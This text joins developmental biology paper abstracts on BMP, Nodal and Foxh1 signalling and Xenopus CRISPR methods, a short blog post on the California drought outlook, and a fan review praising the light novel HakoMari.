Inference of the Xenopus Tropicalis Embryonic Regulatory Network and Spatial Gene Expression Patterns BMC Systems Biology. 2014 | Pubmed ID: 24397936 During embryogenesis, signaling molecules produced by one cell population direct gene regulatory changes in neighboring cells and influence their developmental fates and spatial organization. One of the earliest events in the development of the vertebrate embryo is the establishment of three germ layers, consisting of the ectoderm, mesoderm and endoderm. Attempts to measure gene expression in vivo in different germ layers and cell types are typically complicated by the heterogeneity of cell types within biological samples (i.e., embryos), as the responses of individual cell types are intermingled into an aggregate observation of heterogeneous cell types. Here, we propose a novel method to elucidate gene regulatory circuits from these aggregate measurements in embryos of the frog Xenopus tropicalis using gene network inference algorithms and then test the ability of the inferred networks to predict spatial gene expression patterns.
An Atypical Canonical Bone Morphogenetic Protein (BMP) Signaling Pathway Regulates Msh Homeobox 1 (Msx1) Expression During Odontogenesis The Journal of Biological Chemistry. Nov, 2014 | Pubmed ID: 25274628 Bone morphogenetic protein (BMP) signaling plays an essential role in early tooth development, evidenced by disruption of BMP signaling leading to an early arrested tooth development. Despite being a central mediator of BMP canonical signaling pathway, inactivation of Smad4 in dental mesenchyme does not result in early developmental defects. In the current study, we investigated the mechanism of receptor-activated Smads (R-Smads) and Smad4 in the regulation of the odontogenic gene Msx1 expression in the dental mesenchyme. We showed that the canonical BMP signaling is not operating in the early developing tooth, as assessed by failed activation of the BRE-Gal transgenic allele and the absence of phospho-(p)Smad1/5/8-Smad4 complexes. The absence of pSmad1/5/8-Smad4 complex appeared to be the consequence of saturation of Smad4 by pSmad2/3 in the dental mesenchyme as knockdown of Smad2/3 or overexpression of Smad4 led to the formation of pSmad1/5/8-Smad4 complexes and activation of canonical BMP signaling in dental mesenchymal cells. We showed that Smad1/5 but not Smad4 are required for BMP-induced expression of Msx1 in dental mesenchymal cells. We further presented evidence that in the absence of Smad4, BMPs are still able to induce pSmad1/5/8 nuclear translocation and their binding to the Msx1 promoter directly in dental mesenchymal cells. Our results demonstrate the functional operation of an atypical canonical BMP signaling (Smad4-independent and Smad1/5/8-dependent) pathway in the dental mesenchyme during early odontogenesis, which may have general implication in the development of other organs.
Genome-wide View of TGFβ/Foxh1 Regulation of the Early Mesendoderm Program Development (Cambridge, England). Dec, 2014 | Pubmed ID: 25359723 Nodal/TGFβ signaling regulates diverse biological responses. By combining RNA-seq on Foxh1 and Nodal signaling loss-of-function embryos with ChIP-seq of Foxh1 and Smad2/3, we report a comprehensive genome-wide interaction between Foxh1 and Smad2/3 in mediating Nodal signaling during vertebrate mesendoderm development. This study significantly increases the total number of Nodal target genes regulated by Foxh1 and Smad2/3, and reinforces the notion that Foxh1-Smad2/3-mediated Nodal signaling directly coordinates the expression of a cohort of genes involved in the control of gene transcription, signaling pathway modulation and tissue morphogenesis during gastrulation. We also show that Foxh1 may function independently of Nodal signaling, in addition to its role as a transcription factor mediating Nodal signaling via Smad2/3. Finally, we propose an evolutionarily conserved interaction between Foxh1 and PouV, a mechanism observed in Pou5f1-mediated regulation of pluripotency in human embryonic stem and epiblast cells.
Cas9-based Genome Editing in Xenopus Tropicalis Methods in Enzymology. 2014 | Pubmed ID: 25398349 Xenopus tropicalis has been developed as a model organism for developmental biology, providing a system offering both modern genetics and classical embryology. Recently, the Clustered Regularly Interspaced Short Palindromic Repeats/CRISPR-associated (CRISPR/Cas) system for genome modification has provided an additional tool for Xenopus researchers to achieve simple and efficient targeted mutagenesis. Here, we provide insights into experimental design and procedures permitting successful application of this technique to Xenopus researchers, and offer a general strategy for performing loss-of-function assays in F0 and subsequently F1 embryos.
BMP Signaling is Required for Cell Cleavage in Preimplantation-mouse Embryos Developmental Biology. Jan, 2015 | Pubmed ID: 25446538 The mechanisms regulating cell division during development of the mouse pre-implantation embryo are poorly understood. We have investigated whether bone morphogenetic protein (BMP) signaling is involved in controlling cell cycle during mouse pre-implantation development. We mapped and quantitated the dynamic activities of BMP signaling through high-resolution immunofluorescence imaging combined with a 3D segmentation method. Immunostaining for phosphorylated Smad1/5/8 shows that BMP signaling is activated in mouse embryos as early as the 4-cell stage, and becomes spatially restricted by late blastocyst stage. Perturbation of BMP signaling in preimplantation mouse embryos, whether by treatment with a small molecule inhibitor, with Noggin protein, or by overexpression of a dominant-negative BMP receptor, indicates that BMPs regulate cell cleavage up to the morula stage. These results indicate that BMP signaling is active during mouse pre-implantation development and is required for cell cleavage in preimplantation mouse embryos.


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A couple of months ago I wrote a post about the California drought, August 18 specifically. In it I wrote how long the drought would last and what our next 2 winters would be like. My post says that the drought will continue at least until January 2018. We Californians know we have long periods of drought. Better planning is needed for the state to prepare for extreme water shortage.
This week I read an online article on Patch.com regarding an official weather outlook for this coming winter 2016/17 from the National Oceanic and Atmospheric Administration. Here is one quote from the article "the latest winter outlook for California and the nation, predicting that the drought is expected to persist yet another year – and even expand to our neighbors." Full article here
These conditions can be predicted further ahead than 2 months, even a year in advance. Imagine if our state planned for a drought before it even happened…. woa! What a concept.
Use Astrology to Plan Success!


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Rating: 11/10
NOTE: Due to extremely long name of the series, I will call it by its short name "HakoMari".
I'm on a break from anime for a short time, so I gave a try to some light novels. Currently the one I finished is Utsuro No Hako to Zero no Maria (believe me, I copy/pasted the name from google as it is tough to remember) also known as The Empty Box and the Zeroth Maria or simply HakoMari.
Although I am too busy for a few days that I hardly get any time to watch anime, I still try to read manga and light novels by utilizing an hour or two from my sleeping time.
I could have written this review next month when I would get loads of free time but still, resisting the urge to review this breathtaking light novel is an extremely difficult task.
Now coming to the light novel, HakoMari is a light novel series written by Eiji Mikage. It focuses on a boy Name Kazuki Hoshino, who values his 'everyday life' a lot and will do anything to protect it. He lives his 'everyday life' peacefully until one day, a girl named Aya Otonashi transfers to his school and declares a straight head-on-head war with him.
My description of this series might not be able to give you a clear idea about what HakoMari is, because it is literally impossible to describe this series in words. It is so much complex and deep that describing its plot is more difficult than winning a fight against a tag team of Chuck Norris and Saitama.
HakoMari is no doubt the best work of literature I've ever read. It can be classified as a deep psychological supernatural romantic thriller that beats Deathnote in terms of mind games and leaves Neon Genesis Evangelion behind in terms of depth. I've never read anything similar in my life and all the Light Novels and even the other Novels by famous writers like Dan Brown and Agatha Christie that I've read don't even come close to the intensity of HakoMari.
It is ranked second in Myanimelist manga rankings, and first in the Novel rankings of the same, this alone is enough to prove that HakoMari is in a league of its own.
HakoMari excels in both story progression and Character development. The main plot of HakoMari is really beautiful with outstanding storytelling. The suspense, the drama and all the emotions are such beautifully carved that it will leave you totally breathless. I have watched many animes and read many mangas but still one thing I longed for was a perfect ending. Even the animes I watched were not able to quench my thirst for a perfect end. FMA Brotherhood was really close but I was still not satisfied. But thanks to HakoMari, I have finally achieved my goal as it provided me the perfect ending I had always longed for.
Characters in HakoMari are really complex, they are developed very cleverly and by the end, almost every character is completely changed. Even the Main Character was changed so much by the last 2 volumes that it was really difficult to relate him with his initial self. You will find yourself loving the characters you hated at first and you will empathize with them. The emotional dilemmas faced by characters are so detailed and well explained that you will easily find yourself standing in their shoes. Believe me when I say this, HAKOMARI WILL BREAK YOU AND BUILD YOU UP AGAIN.
From my tone and expressions and also from my weird score, you might be wondering why I didn't give it a perfect 10. If you check my list on MAL, you will find out that I give 10 rating to any anime or manga I find good, but when it comes to my reviews on AnimeSannins, I usually don't go beyond 9. Still, HakoMari is so good that I want to give it a perfect 10 but like every great anime or manga, HakoMari has a small drawback; the beginning. It starts really slow and fails to provoke any interest, but once you get pass a few pages, you will find that it is not what you thought it would be. It happened with me also, but I kept on reading and after around 10 pages, I realized that this was going to be really good.
To sum it all up, HakoMari is doubtlessly a Masterpiece. It has a unique and wonderful story with some of the best characters I've ever seen. The dark theme and setting is very justified and the overall enjoyment factor is very high. You can feel that the author gave his all while writing each and every line and the same goes with the translator. HakoMari will touch your heart like it touched mine. I will read it again to enjoy it once more and re-live those wonderful moments I spent reading it.
If you haven't read HakoMari, please do so as you are missing something great. If you have read it and still don't like it (which I know is impossible), then you are hopeless piece of a large cake made out of total bullsh*t (no offense). Ignore the last statement, I wrote this review an year ago.
Read more: 6 Reasons why HakoMari is the best Light Novel!